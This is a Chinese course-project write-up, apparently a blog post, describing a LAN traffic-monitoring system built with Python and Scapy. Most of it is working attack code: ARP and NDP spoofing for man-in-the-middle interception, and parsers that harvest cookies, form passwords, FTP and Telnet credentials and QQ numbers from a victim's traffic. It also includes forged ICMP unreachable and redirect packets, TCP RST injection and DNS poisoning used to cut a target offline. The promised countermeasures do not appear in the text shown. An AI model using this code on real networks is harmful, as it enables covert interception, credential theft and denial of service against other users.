2020-12-26

计网课设:网络流量监控与反监控

作者:F5zhangyc

源代码:https://github.com/F5Soft/NetMonitor

1. 项目内容

我们借助 Python 的 Scapy 等模块,设计并实现了一套可以在 Windows 和 Linux 上运行的网络流量监控系统。该监控系统和被监控的目标主机位于同一 LAN 内,网络拓扑结构图如下:

该系统实现了

  • LAN 扫描,通过 ARP 请求和 ICMP 多播请求,获取当前 LAN 内的所有设备的 IPv4、IPv6、MAC 地址,包括目标主机和网关
  • 在当前 LAN 内,通过 ARP 和 NDP 攻击的方式,欺骗目标主机和 LAN 网关,获取目标主机与外网通信的报文
  • 对截获的报文进行深度分析,通过可视化界面展示报文信息、协议分层统计、目标主机用户画像,以及分析得到的 QQ、Cookies、密码等敏感信息
  • 对截获的报文进行 IP、域名、敏感词匹配,发现敏感词后,可通过 ARP/NDP 欺骗、ICMP 不可达和重定向攻击、TCP RST 攻击、DNS 污染等多种攻击方式实现目标主机的断网

同时,对于在 LAN 内如此轻易获取敏感信息,发动网络攻击的现象,我们提出了对应的反监控措施,更好的实现隐私保护和自由的通信。

2. LAN 信息搜集

实施网络监控和网络攻击前,第一步是信息搜集工作。

2.1 获取本机网络环境

为了实现跨平台,我们使用 Python 的 netifaces 模块,获取各个接口的 IP 地址、子网掩码、默认网关、MAC 地址,以及默认接口。

接下来,通过主机 IP 地址和对应的子网掩码,计算出主机所在的网络地址(CIDR)。通过向默认网关的 IP 地址发送 ARP 请求,获得网关的 MAC 地址。

2.2 IPv4 扫描

我们实现了两种针对具有 IPv4 地址主机的扫描方式。

2.2.1 ARP 扫描

由于我们知道当前主机所在的网络地址,因此通过 Scapy 构造如下的 ARP 请求包:

1
req_list = l2.Ether(dst='ff:ff:ff:ff:ff:ff') / l2.ARP(pdst=net)

依次遍历当前网络地址下的所有 IP 地址,其中net依次为 IP 地址的枚举结果,构造 ARP 报文,并将该报文在链路层广播。对于收到的 ARP 响应,就将其响应报文中包含的 IP 和 MAC 地址放入扫描结果中。

2.2.2 ICMP 扫描

由于在实际测试时,ARP 扫描有时不能返回全部的结果,需要多扫几次才能出来。因此我们又实现了 ICMP 扫描的方式。在 RFC919 中,当前网络中的广播地址被定义为网络号之后全部填充比特 1。通过之前得到的本机网络地址计算出当前网络的广播地址,并将 ICMP Echo Request 报文发往这一广播地址,也可以实现 LAN 扫描。通过 Scapy 构造如下的包:

1
req = inet.IP(dst=multicast_dst) / inet.ICMP()

收到响应后,将响应包的源 MAC 地址和源 IP 地址放入扫描结果中。

2.3 IPv6 扫描

根据 RFC4291,IPv6 全球单播地址的结构如下:

bits 48 (or more) 16 (or fewer) 64
field routing prefix subnet id interface identifier

IPv6 本地单播地址的结构如下:

bits 10 54 64
field prefix zeroes interface identifier

可以看到,主机所在的 IPv6 网络地址的后缀通常为 64 位,长度很长,如果使用在 ICMPv6 中与 ARP 请求报文等价的 Neighbor Solicitation 报文对可能的 IPv6 地址一个一个遍历扫描,需要发送 264=18446744073709551616 个报文,是很不现实的。因此,只能通过 ICMPv6 Echo Request,结合 IPv6 的多播实现扫描。

在 IPv6 中,ff02::1 这一多播地址被定义为 LAN 中的所有节点。向该多播地址发送 ICMPv6 Echo Request 报文,可实现具有 IPv6 地址的主机的 LAN 扫描:

1
req = inet6.IPv6(dst='ff02::1') / inet6.ICMPv6EchoRequest()

但是这样扫出来的只是 fe80 开头的本地 IPv6 地址。大多数主机在 IPv6 网络下,除了本地地址外,还可以分到一个或多个全球唯一的 IPv6 地址,因此。根据上述 IPv6 地址结构图,由于 Interface Identifier 是 DHCPv6 协议通过设备 MAC 生成的,在同一 LAN 下具有唯一性,我们只需将本地 IPv6 地址的前 64 位换成本机的 IPv6 网络地址的 64 位前缀,即可得到对应的全球 IPv6 地址:

1
2
3
4
5
6
for net6 in self.net6:
    self.rarp_table6[res[l2.Ether].src].add(
        str(ipaddress.IPv6Address((
            int(ipaddress.IPv6Address(res[inet6.IPv6].src)) & \
            0xFFFFFFFFFFFFFFFF) + \
            int(ipaddress.IPv6Address(net6.split('/')[0])))))

但是但是,这样做还是不够!由于有的路由器配置 DHCPv6 协议时,还会为每个主机分配一个临时的 IPv6 地址,这个地址的后 64 位就不是设备标识符了!

而实际测试时发现,通常只有第二个地址响应 ICMPv6 的多播 Ping。所以,对于这种地址的获取,要结合下文提到的欺骗攻击。因为在这个主机已经被欺骗的情况下,如果该主机使用这个临时地址发送 IPv6 数据包,也是可以被我们截获的,因此我们采用自学习的方式,当在网卡上抓到不是自己本机发出或接收的数据包,源 IP 也不是在目标 IP 地址里的数据包时,就将该 IPv6 地址加入目标主机 IPv6 地址集合。

3. 欺骗攻击

3.1 ARP 欺骗

目标主机 A 访问外网的 IP 数据报要经过局域网内网关 B 的转发,因此 A 需要先知道 B 的以太网 MAC 地址。这就需要通过地址解析协议 ARP 来获取路由器 B 的 MAC 地址:

  1. 主机 A 的 ARP 进程在本局域网上广播发送一个 ARP 请求报文,报文中的目的 IP 地址(pdst 字段)为路由器 B 的 IP 地址
  2. 本局域网上的所有主机上运行的 ARP 进程都收到此 ARP 请求分组
  3. 路由器 B 的 IP 地址与请求分报文的一致,就收下这个请求,并向 A 发送响应报文,在这个报文中写入自己的 IP 地址(psrc 字段)和硬件地址(hwsrc 字段)
  4. 主机 A 收到路由器 B 的响应报文之后,写入 IP 到硬件地址的映射

注意到此处的响应报文中,IP 和硬件地址也可以任意指定,很容易进行伪造。因此,我们可以通过不断发送大量伪造的 ARP 响应报文来欺骗 A,让 A 误以为网关 B 的 IP 地址对应的 MAC 实际对应的是我们当前的主机 C,从而将 A 本来要向网关 B 发送的 IP 数据报发给当前主机 C。

我们使用 Scapy 构造如下的 ARP 响应包:其中 op=2 字段表明这个是响应类型的报文,将响应报文的源 IP 地址 psrc 字段设为网关的 IP 地址,但将响应报文的源 MAC 字段 hwsrc 设为当前主机 C 的 MAC 地址,并将其封装在发往 A 的 MAC 帧中:

1
2
p = l2.Ether(dst=self.target_mac) / \
    l2.ARP(op=2, psrc=router_ip, pdst=target_ip, hwsrc=self.mac)

同理,我们也可也欺骗路由器,让路由器认为 A 的 IP 地址对应的 MAC 地址是我们 C 的 MAC 地址,从而实现双向的流量监听:

1
2
p = l2.Ether(dst=self.router_mac) / \
    l2.ARP(op=2, psrc=target_ip, pdst=router_ip, hwsrc=mac)                

为了达到欺骗效果,及时刷新 A 和 B 的 ARP 缓存,默认设置每隔 5 秒向两边各发送一次 ARP 响应报文。

3.2 NDP 欺骗

NDP 欺骗(或者 NA 欺骗)是 IPv6 版本的 ARP 欺骗。由于 ICMPv6 继承了原先 IPv4 协议栈下网络层的 ARP、ICMP、IGMP 协议,因此与 ARP 等价的协议在 ICMPv6 中是 Neighbour Discovery Protocol(NDP),与 ARP 响应报文等价的报文在 ICMPv6 中是 Neighbour Advertisement(NA)。

虽然 IPv6 的欺骗的原理和 IPv4 类似,但是有两处不同:

  • ARP 报文下方没有 IP 数据报,只有 MAC 帧,实现欺骗时不用伪造源 IP 地址;但 ICMPv6 报文下方有 IPv6 数据报,因此实现时要伪造源 IPv6 地址
  • 由于 IPv6 地址数量丰富,一台主机上很可能有多个 IPv6 地址,通常情况下是有一个本地 IPv6 地址和 1-2 个全球 IPv6 地址,要想确保以任何一个 IPv6 地址收发的数据报均能被当前主机 C 截获,就要同时对每个 IPv6 地址分别实施 NDP 欺骗

因此,对每一对可能的(目标主机 A 的一个 IPv6 地址,网关 B 的一个 IPv6 地址)组合,都要进行欺骗。首先通过二重循环遍历每种可能的组合,之后再通过 Scapy 为每种组合伪造各自的包。以欺骗目标主机 A 为例:

1
2
3
4
5
6
7
for target_ip6 in self.target_ip6:
    for router_ip6 in self.router_ip6:
        p = l2.Ether(dst=self.target_mac) / \
            inet6.IPv6(src=router_ip6, dst=target_ip6) / \
            inet6.ICMPv6ND_NA(tgt=router_ip6, R=0) / \
            inet6.ICMPv6NDOptDstLLAddr(lladdr=self.mac)
        sendp(p, verbose=False, iface=self.iface)

其中在 ICMPv6ND_NA(Neighbour Discovery - Neighbour Advertisement)报文中,将与 ARP 报文中 psrc 字段等价的 tgt 字段设置为网关 B 的地址,但将选项中与 ARP 报文的 hwsrc 字段等价的 lladdr 字段设置为当前主机 C 的 MAC 地址。

同理,欺骗网关 B 的代码实现如下:

1
2
3
4
5
6
7
for target_ip6 in self.target_ip6:
    for router_ip6 in self.router_ip6:
        p = l2.Ether(src=mac, dst=self.router_mac) / \
            inet6.IPv6(src=target_ip6, dst=router_ip6) / \
            inet6.ICMPv6ND_NA(tgt=target_ip6, R=0) / \
            inet6.ICMPv6NDOptDstLLAddr(lladdr=mac)
        sendp(p, verbose=False, iface=self.iface)

3.3 抓包和过滤

3.3.1 开启 IP 转发

在实现双向欺骗成功之后,就可以在自己的网卡上抓到 A 和 B 之间通信的包(A 访问外网的数据包)。但是要让 A 和 B 的包经过当前主机 C 后,最终还能够到达对方,就需要开启 IP 转发。在 Linux 中可直接通过

1
2
echo 1 > /proc/sys/net/ipv4/ip_forward 
sudo sysctl -w net.ipv6.conf.all.forwarding=1

开启 IPv4 和 IPv6 转发。在 Windows 上,需要通过修改注册表设置:

将 IPEnableRouter 设置为 1,同时在系统服务中开启 Routing and Remote Access 服务,即可实现 IPv4 和 IPv6 的转发。

3.3.2 关闭 ICMP 重定向

Windows 系统存在这个问题,Linux 没有发现有此问题。在 Windows 上在开启 IP 转发的同时,也需要关闭 ICMP 重定向报文的发送,将 EnableICMPRedirect 设为 0。

ICMP 重定向报文表示路由器把改变路由报文发送给主机,让主机知道下次应将数据报发送给另外的路由器(可通过更好的路由)。在欺骗过程中,当前主机 C 突然收到了 A 发来的数据包,自然会觉得诧异,虽然仍帮忙 A 转发给 B,但是也提醒 A 可以直接走 B,因而向 A 发送 ICMP 重定向报文。

对于 ICMPv4,可以不关闭重定向,因为 ICMPv4 重定向报文中只给了路由器 B 的 IP,但显然 A 已经被骗了,因此 A 认为 B 的 IP 仍然对应 C,接着向 C 发。但是关上重定向可以适当提高网卡的转发性能。

但对于 ICMPv6,则必须关闭 ICMP 重定向报文,因为 ICMPv6 的重定向报文直接给了路由器 B 的 MAC 地址,这样 A 在收到 ICMPv6 的重定向后,就会直接向 MAC 地址发送报文,导致后续无法进行欺骗:

在进行项目代码的编写过程中,曾就遇到了这个问题,在 IPv6 网络环境下访问网站,只能抓到第一次的 HTTP 请求包,后面的包都因此抓不到

可以通过 Windows 系统自带的防火墙,设置出站规则,拦截 ICMPv6 重定向报文:

3.3.2 抓包

这里使用 Scapy 的AsyncSniffer类进行抓包:

1
self.sniffer = AsyncSniffer(lfilter=self._filter, iface=self.iface, prn=on_recv)

其中抓到的包先经过_filter函数过滤,并且每抓到一个包都调用回调函数on_recv

3.3.3 过滤

由于使用该方法,也可以抓到自己正常上网的数据包,因此需要对网卡上抓到的数据包进行过滤。

这里只考虑网络层及以上的内容。对于源地址或目的地址是自己 IP 的包都进行过滤,并且目的地址是多播地址的包也进行过滤。同时对于 IPv6 来说,由于在 NDP 欺骗时用到了 ICMPv6 Neighbour Advertisement 报文,因此对该报文也进行过滤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
if p[l2.Ether].type == 2048:
    src = p[inet.IP].src
    dst = p[inet.IP].dst
    return not ipaddress.IPv4Address(dst).is_multicast \
           and src not in self.ip and dst not in self.ip
elif p[l2.Ether].type == 34525:
    src = p[inet6.IPv6].src
    dst = p[inet6.IPv6].dst
    return not p.haslayer(inet6.ICMPv6ND_NA) \
           and not ipaddress.IPv6Address(dst).is_multicast \
           and src not in self.ip6 and dst not in self.ip6
return False

同时,由于开启了 IP 转发,因此在本机网卡上会抓到转发前和转发后的两个数据包,体现为 Wireshark 中会显示异常的重传和重复确认等。这两个 IP 数据包具有相同的 Payload,因此,要将第二个相同内容的数据包忽略:

1
2
3
if p[1].payload == self._prev:
    return
self._prev = p[1].payload

代码编写完成后,在宿舍网络的实际环境下进行欺骗测试。由于特地购买了支持 IPv6 协议栈的无线路由器,因此宿舍局域网下的每个设备都能分配到一个或多个全球的 IPv6 地址,可以直接访问支持 IPv6 协议的网站(如我们学院官网就支持 IPv6)。环境如下:

MAC 地址 IP 地址
目标主机 A dc:a6:32:af:98:ec 192.168.1.107
fe80::a934:9be8:5d6:aeeb
2409:8a34:1a13:d930:a934:9be8:5d6:aeeb
2409:8a34:1a13:d930::1005(临时)
网关 B 64:6e:97:0e:81:aa 192.168.1.1
fe80::666e:97ff:fe0e:81aa
2409:8a34:1a13:d930:666e:97ff:fe0e:81aa
当前主机 C 94:b8:6d:54:fd:30 192.168.1.102
fe80::6da6:4867:20f4:1330
2409:8a34:1a13:d930:6da6:4867:20f4:1330
2409:8a34:1a13:d930::1004(临时)
ABC 所在网络 192.168.1.0/24
fe80::/64
2409:8a34:1a13:d930::/64

其中目标主机 A 是树莓派。在当前主机 C 上抓包,可以看到 ARP 欺骗报文被成功发送:

其分别为:

  • 欺骗 B,伪造 A 的 IP 对应的 MAC 地址为 C 的 MAC 地址
  • 欺骗 A,伪造 B 的 IP 对应的 MAC 地址为 C 的 MAC 地址

ICMPv6 的欺骗报文也成功发送,但是这里没有包括树莓派 A 的临时地址,因为之前并未获取到:

其分别为:

  • 第 1-2 组:
  • 欺骗 B 的全球 IPv6 地址,伪造 A 的本地 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 欺骗 A 的本地 IPv6 地址,伪造 B 的全球 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 第 3-4 组:
  • 欺骗 B 的本地 IPv6 地址,伪造 A 的本地 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 欺骗 A 的本地 IPv6 地址,伪造 B 的本地 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 第 5-6 组:
  • 欺骗 B 的全球 IPv6 地址,伪造 A 的全球 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 欺骗 A 的全球 IPv6 地址,伪造 B 的全球 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 第 7-8 组:
  • 欺骗 B 的本地 IPv6 地址,伪造 A 的全球 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址
  • 欺骗 A 的全球 IPv6 地址,伪造 B 的本地 IPv6 地址对应的 MAC 地址为 C 的 MAC 地址

在树莓派 A 上使用curl命令,分别以 IPv4 和 IPv6 的协议抓取信息学院主页,然后在当前主机 C 上抓包,可以看到树莓派 A 和网关 B 的 IPv4 和 IPv6 都被成功欺骗,当前主机抓到了对应的两对 HTTP 请求/响应报文:

注意到这里的 IPv6 的 HTTP 请求是用临时地址发起的,根据在 2.3 节中提到的自学习策略,可以看到该系统立刻将临时地址加入,并成功欺骗路由器该地址的 MAC 信息,截断从路由器传回的响应报文。

第 6 节中提到的各种断网攻击方式演示,也是使用上述相同的测试环境

4. 协议统计

首先,收到一个包后,需要先确定其协议类型。如果按照数据包的结构来分析,可以画出下面的层级结构图:

因此主要思想是,利用以太网帧的 type 字段确定网络层协议;利用 IPv4 的 proto 和 IPv6 的 nh(下一个头部)字段确定传输层协议/ICMP/ICMPv6;利用 TCP 和 UDP 的端口号,结合应用层协议报文特征,确定应用层协议。

  • 如果 type=2048,网络层使用 IPv4 协议
  • 如果 protol=6,传输层使用 TCP 协议
    • 如果源端口或目的端口中有 80,应用层使用 HTTP 协议
    • 如果源端口或目的端口中有 443,应用层使用 TLS 协议
    • 如果源端口或目的端口中有 23,应用层使用 Telnet 协议
    • 如果源端口或目的端口中有 20,应用层使用 FTP 协议
    • 其他
  • 如果 protol=17,传输层使用 UDP 协议
    • 如果源端口或目的端口中有 53,应用层使用 DNS 协议
    • 如果源端口或目的端口中有 8000,应用层使用 OICQ 协议
    • 其他
  • 如果 protol=1,网络层使用 ICMP 协议
  • 其他
  • 如果 type=34525,网络层使用 IPv6 协议
  • 如果下一个首部为 6,传输层使用 TCP 协议
    • 如果源端口或目的端口中有 80,应用层使用 HTTP 协议
    • 如果源端口或目的端口中有 443,应用层使用 TLS 协议
    • 如果源端口或目的端口中有 23,应用层使用 Telnet 协议
    • 如果源端口或目的端口中有 20,应用层使用 FTP 协议
    • 其他
  • 如果下一个首部为 17,传输层使用 UDP 协议
    • 如果源端口或目的端口中有 53,应用层使用 DNS 协议
    • 如果源端口或目的端口中有 8000,应用层使用 OICQ 协议
    • 其他
  • 如果下一个首部为 58,网络层使用 ICMPv6 协议
  • 其他
  • 其他

5. 流量分析

我们根据监听到的流量,深度分析 HTTP、DNS 协议,可以自动化的得到目的主机访问的 IP 及域名,用于后续的断网规则匹配。并且还可以根据 HTTP、FTP、Telnet 等协议的报文内容,自动化的获取和目的主机的一些敏感信息。

5.1 HTTP 流量分析

5.1.1 获取 URL

将 HTTP 请求报文的 Host 字段和请求报文的第一行的路径进行拼接,即可获取用户请求的完整 URL:

1
2
3
domain = p[http.HTTPRequest].Host.decode('ascii', 'replace')
url = p[http.HTTPRequest].Host + p[http.HTTPRequest].Path
url = parse.unquote(url.decode('ascii', 'replace'))

由于很多时候 URL 路径或 GET 参数往往带有中文等特殊符号,为了方便可视化,将 URL 的内容再进行 URLdecode 解码,如第三行所示。

5.1.2 获取 Cookie

Cookie 通常也包含很多敏感信息,例如厦门大学统一身份认证登陆后,服务器为我们设置的SAAS_U Cookie 就是用于在一段时间内维持当前登录状态的 Session ID,获取到该 Cookie 可以在一段时间内免密登录目标主机的用户账户等敏感内容。除此之外,很多 Cookie 和广告等个性化推荐相关,获取到这些 Cookie 后也可推测出目的主机用户的部分偏好等信息。

如果 HTTP 请求头中包含 Cookie 字段,或 HTTP 响应头中包含 Set-Cookie 字段,则将其通过add_password函数将其加入敏感信息中:

1
2
3
4
5
6
7
if p[http.HTTPRequest].Cookie is not None:
    cookie = p[http.HTTPRequest].Cookie.decode('ascii', 'replace')
    self.add_password('http://' + domain, '[Cookie]', cookie)
...
if p[http.HTTPResponse].Set_Cookie is not None:
    cookie = p[http.HTTPResponse].Set_Cookie.decode('ascii', 'replace')
    self.add_password('http://' + self.dns_map.get(p[1].src, p[1].src), '[Cookie]', cookie)

5.1.3 获取 User-Agent

User-Agent 通常包括了用户使用的浏览器和操作系统信息。与 Cookie 类似,直接从 HTTP 请求头部获取:

1
2
if p[http.HTTPRequest].User_Agent is not None:
    self.web_ua = p[http.HTTPRequest].User_Agent.decode('ascii', 'replace')

5.1.4 获取表单提交信息

最敏感的信息就是用户通过 POST 提交的表单数据了。通过 HTTP 请求报文的 body 部分获得表单数据,之后将表单字符串通过 Python 内置的 urllib 库转为字典,或通过 json 库转为字典。然后根据字典中对应的键获取敏感信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
data = bytes(p[http.HTTPRequest].payload).decode('utf-8', 'replace')
...
if 'username' in form_data:
    username = form_data['username'][0]
    password = form_data.get('password', b'')[0]
    self.add_password('http://' + domain, username, password)
if 'username' in json_data:
    username = json_data['username']
    password = json_data.get('password', '')
    self.add_password('http://' + domain, username, password)

这里为了方便和演示考虑,假设 body 部分采用 UTF-8 编码,表单只有application/x-www-form-urlencodedapplication/json两种形式。并且假设用户名字段为username,密码字段为password

5.1.5 获取网页内容

目标主机访问的网页的明文内容可以作为后续敏感词断网规则匹配的依据。与表单类似,通过 HTTP 响应的 body 获取:

1
2
3
data = p[http.HTTPResponse].payload
if in_list(data, self.content_ban):
    self.ban()

5.2 FTP 流量分析

在本学期计网实验五中得知,FTP 协议的流量也是明文传输,这意味着我们可以获取目标主机登录 FTP 时的用户名和密码。根据实验课上的抓包结果可知,FTP 客户端向服务器依次发送 USER 和 PASS 命令,因此直接获取该命令后跟随的字符串即可获取用户名和密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
if p[2].dport in [20, 21]:
    self.add_history('ftp://' + self.dns_map.get(p[1].dst, p[1].dst))
    raw = bytes(p[inet.TCP].payload).decode('ascii', 'replace')
    username = re.findall('(?i)USER (.*)', raw)
    password = re.findall('(?i)PASS (.*)', raw)
    if username:
        username = username[0].replace('\r\n', '')
        self._ftp_username = username
    if password and self._ftp_username is not None:
        password = password[0].replace('\r\n', '')
        self.add_password('ftp://' + self.dns_map.get(p[1].dst, p[1].dst), self._ftp_username, password)
        self._ftp_username = None

5.3 Telnet 流量分析

Telnet 可用于远程登录服务器终端。Telnet 的流量也是明文传输。在本地进行实验后发现,对用户的输入来说,Telnet 的报文一次只发送一个用户输入的字符,并且服务端立刻回复相同的内容,作为字符的回显。

这里以 Debian Linux 的登录为例,通常 Linux 系统执行login登陆程序时,服务器会返回XXX login:内容,输入密码时,服务器会返回Password:内容。

因此,根据以上的情况设计了 4 个状态,在用户输入用户名和密码时,每截获一个 Telnet 报文,就将其加到用户名或密码的后方,直到用户按下回车键(\r\n\r)为止。以获取用户名为例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
raw = bytes(p[inet.TCP].payload).decode('ascii', 'ignore')
if p[inet.TCP].sport == 23 and self._telnet_status == 0 and 'login:' in raw:
    self._telnet_buf = ''
    self._telnet_status = 1
    return
if p[inet.TCP].dport == 23 and self._telnet_status == 1:
    self._telnet_buf += raw
    if '\r' in self._telnet_buf or '\n' in self._telnet_buf:
        self._telnet_username = self._telnet_buf.replace('\r', '').replace('\n', '')
        self._telnet_status = 2
        return

5.4 DNS 流量分析

虽然很多的协议都采用加密技术,如 TLS、SSH 等,但是 DNS 报文仍然是明文的。我们可以通过截获的 DNS 请求报文判断用户即将访问哪个域名,也可通过 DNS 响应报文中的qrrr字段,在本地创建一个反向 DNS 映射表,将 IP 地址映射到域名,以此追踪用户接下来的流量去向(如 HTTPS)

1
2
3
if p.haslayer(dns.DNSRR) and p[dns.DNSRR].type in [1, 28]:
    ip = p[dns.DNSRR].rdata
    self.dns_map[ip] = domain

针对 DNS 响应的 type 字段(1 为 IPv4 地址,28 为 IPv6 地址),其中的dns_map即为创建的 DNS 反向映射表。

5.5 OICQ(QQ)流量分析

在 PC 上,曾用 Wireshark 抓到过 OICQ 报文,与 QQ 聊天软件相关联。分析了其结构发现,其和服务器的 8000 端口通信,报文的第一个字节为 0x02,用来表明这个是 OICQ 报文。并且,报文的第 8-11 字节部分为整数编码的 QQ 号,也是明文传输的,因此可以通过如下代码从 OICQ 报文获取目标主机用户 QQ 号:

1
2
3
4
raw = bytes(p[inet.UDP].payload)
if raw[0] != b'\x02':
    return
qq = str(int.from_bytes(raw[7:11], 'big', signed=False))

6. 中间人攻击

在第 5 节中,通过数据包的深度分析,结合 DNS 反向映射等手段,除 IP 之外,还可以获得目标主机的访问域名、明文信息。

我们分别对 IP、域名、明文敏感词设置了黑名单,如果这些信息符合了黑名单规则,则当前主机会对目标主机发起以下一系列攻击,使目标主机断网。

6.1 ARP/NDP 欺骗

这里的原理和第 3 节一样,只不过对路由器的欺骗来说,换了一个根本不存在的 MAC 地址,这样路由器返回的包就到不了当前主机和目标主机。但是由于对目标主机的欺骗没有变,因此这样还能抓到目标主机的请求包。

当然,也可以通过手动关闭当前主机的 IP 转发或者在 Linux 防火墙的 Prerouting 和 Postrouting 表中设置规则,对转发的包统统 DROP,实现相同效果的断网,但是这样的攻击行为完全依赖于 ARP/NDP 欺骗,不涉及太多新的计网知识,且难以跨平台实现。

而下面所说的几种中间人攻击的方式,依次位于网络层、传输层、应用层,可以发生在源主机和目标主机通信的任何一个中间网络中,其所需要的计网知识更多,且影响范围更广。

6.2 ICMP 不可达攻击

正常情况下,向一个不可达的 IP 发起网络请求,如果该 IP 不存在,最后一个路由器会向源地址发送 Destination Unreachable ICMP 报文,并附带该地址原来的 IP 数据报。

因此,为了实现该攻击,我们检测到一个 IP 数据报到来后,就立马向目标发送伪造的 Destination Unreachable ICMP 报文,其中源 IP 地址伪造为目标主机要访问的目的 IP 地址,让目标以为该 IP 无法访问,从而实现断网。

针对 IPv4 的情况,使用 Scapy 构建如下的 ICMP 报文:

1
exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=3, code=1) / p[inet.IP]

其中 type 为 3,表明是 Destination Unreachable;code 为 1,表明是目的主机不可达,并且注意到伪装了源 IP 地址。在树莓派上 Ping baidu.com 测试如下:

可以看到成功达到目的。针对 IPv6 的情况,构建如下的 ICMPv6 报文

1
exp = inet6.IPv6(src=p[inet6.IPv6].dst, dst=p[inet6.IPv6].src) / inet6.ICMPv6DestUnreach() / p[inet6.IPv6]

使用学院官网进行测试,效果如下:

6.3 ICMP 重定向攻击

3.3.2 节中已经提到了 ICMP 重定向的意义。如果我们向目标主机伪造一个 ICMP 重定向报文,其中下一跳的地址是一个不可达的 IP 地址,那么目标主机下一次发送 IP 数据报时,就会向这个不可达的主机发送,从而实现断网的目的。

当收到一个目标主机发来的 IP 数据报时,通过 Scapy 构造如下的 ICMP 重定向报文,例如这里重定向到本地回环地址:

1
2
3
4
if p[l2.Ether].type == 2048:
    exp = inet.IP(src=p[inet.IP].dst, dst=p[inet.IP].src) / inet.ICMP(type=5, code=1, gw='127.0.0.1') / p[inet.IP]
else:
    exp = inet6.IPv6(src=p[inet6.IPv6].dst, dst=p[inet6.IPv6].src) / inet6.ICMPv6ND_Redirect(tgt=p[inet6.IPv6].dst, dst='::1')

经测试,大部分主机会在 Ping 的时候给出重定向提示,但是不会按照重定向的 IP 来发送下一跳。在树莓派上 Ping 学校官网,收到了伪造的重定向报文,如图所示:

6.4 TCP RST 攻击

TCP 连接的释放除了通过常规的 FIN 四次握手之外,还可以通过 RST 立即释放连接。因此,我们可以根据截获的目标主机与外网通信的 TCP 报文,伪造出 TCP RST 报文发送给目标主机和服务器,从而使其连接释放。

为了伪造 RST 报文,需要根据之前截获的 TCP 报文的序号 seq 进行设置。如果是截获到由 A 发给 B 的 TCP 报文,那么如果要伪造由 A 发给 B 的 TCP RST 包,那么有

seqab=seq+len(payload)

如果要伪造 B 发给 A 的 TCP RST 包,那么有

seqba=ack

同时,也要伪造源 IP 地址。在 IPv4 的情况下,通过 Scapy 构造如下的攻击数据包exp1exp2,分别发送给 TCP 连接的两端:

1
2
3
4
5
6
7
8
9
seq = p[inet.TCP].seq + len(p[inet.TCP].payload)
ack = p[inet.TCP].ack
sport = p[inet.TCP].sport
dport = p[inet.TCP].dport
if p[l2.Ether].type == 2048:
    src = p[inet.IP].src
    dst = p[inet.IP].dst
    exp1 = inet.IP(src=src, dst=dst) / inet.TCP(sport=sport, dport=dport, seq=seq, window=0, flags=4)
    exp2 = inet.IP(src=dst, dst=src) / inet.TCP(sport=dport, dport=sport, seq=ack, window=0, flags=4)

由于就算应用层采用了 TLS 或 SSH 等加密传输方式,但是其都是基于 TCP 的,通过 TCP RST 攻击能直接阻断其通信。下面通过树莓派访问学院官网,并同时执行 TCP RST 攻击:

可以看到,在 TLS 握手尚未完成时,该系统就根据 Client Hello 所在的 TCP 分组的确认号伪造了服务器向其发送的 RST 的序号,导致其无法上网!

这里有重传和重复确认包的原因在 3.3.3 中提到,因为开启了 IP 转发,在 C 上能抓到转发前和转发后的两个包

6.5 DNS 污染

在截获到目标主机的 DNS 请求报文后,我们完全可以立即伪造以一个看起来像 DNS 服务器发送的响应报文,使其解析记录的 IP 地址是我们修改后的 IP 地址的 DNS 响应报文。

这里为了实现断网需要,对于 A 记录请求,将返回的 IP 地址设为 127.0.0.1,对于 AAAA 记录请求,将返回的地址设为::1。当然也可以设置成别的 IP 地址,预先设置好伪装的服务器,实现进一步的攻击。

为了确保响应的报文能对应请求的报文,需要将响应报文的 id 字段设置为和请求报文相同,并且在传输层也需要伪造相应的源端口,在网络层伪造源 IP。对于 IPv4 的情况,使用 Scapy 构造如下的响应包:

1
2
3
4
exp = inet.IP(dst=p[inet.IP].src, src=p[inet.IP].dst) / \
      inet.UDP(dport=p[inet.UDP].sport, sport=p[inet.UDP].dport) / \
      dns.DNS(id=p[dns.DNS].id, qd=p[dns.DNS].qd, aa=1, qr=1,
              an=dns.DNSRR(rrname=p[dns.DNS].qd.qname, ttl=10, rdata='127.0.0.1'))

对于 IPv6 的情况,构造如下的响应包:

1
2
3
4
exp = inet6.IPv6(dst=p[inet6.IPv6].src, src=p[inet6.IPv6].dst) / \
      inet.UDP(dport=p[inet.UDP].sport, sport=p[inet.UDP].dport) / \
      dns.DNS(id=p[dns.DNS].id, qd=p[dns.DNS].qd, aa=1, qr=1,
              an=dns.DNSRR(rrname=p[dns.DNS].qd.qname, ttl=10, type=28, rdata='::1'))

在树莓派上访问一个尚未测试,没有本地 DNS 缓存的网站,如 bing.com,效果如下:

可以看到,这里成功实现了污染,导致树莓派认为 bing.com 对应的是 127.0.0.1,但是它本地没有开放 80 端口,因此拒绝连接。但是这里仍然有一个小 BUG,那就是对于 AAAA 请求,回复的也是 A 请求。这是因为之前误认为发送 A 请求的一定是 IPv4 地址,发送 AAAA 请求的一定是 IPv6 地址,其实不然,应该根据请求的类型来决定是响应 127.0.0.1 还是::1。但是总之,成功实现了 DNS 污染攻击。

7. 可视化

通过 Web 页面实现程序结果的可视化。网页分为监控主页、协议统计、报文信息、断网规则、用户信息 5 个页面。

7.1 主页

位于 http://127.0.0.1/

包括展示当前网络环境、LAN 扫描,接口设置、LAN 扫描(MAC、IPv4、IPv6)、监控设置(填写被监控主机 MAC 地址)

7.2 协议统计

位于 http://127.0.0.1/stats/,展示统计信息,前端根据协议分级显示数量,轮询更新。

7.3 报文信息

位于 http://127.0.0.1/packets/,显示最近 100 条数据包信息,轮询更新。

7.4 断网规则

位于 http://127.0.0.1/ban/,功能有

  • 设置断网规则
  • 设置 IP 黑名单
  • 设置域名黑名单
  • 设置敏感词
  • 设置断网攻击方法
  • ARP/NDP 再欺骗
  • ICMP 不可达攻击
  • ICMP 重定向攻击
  • TCP Reset 攻击
  • DNS 欺骗(污染)
  • 显示当前主机上网状态
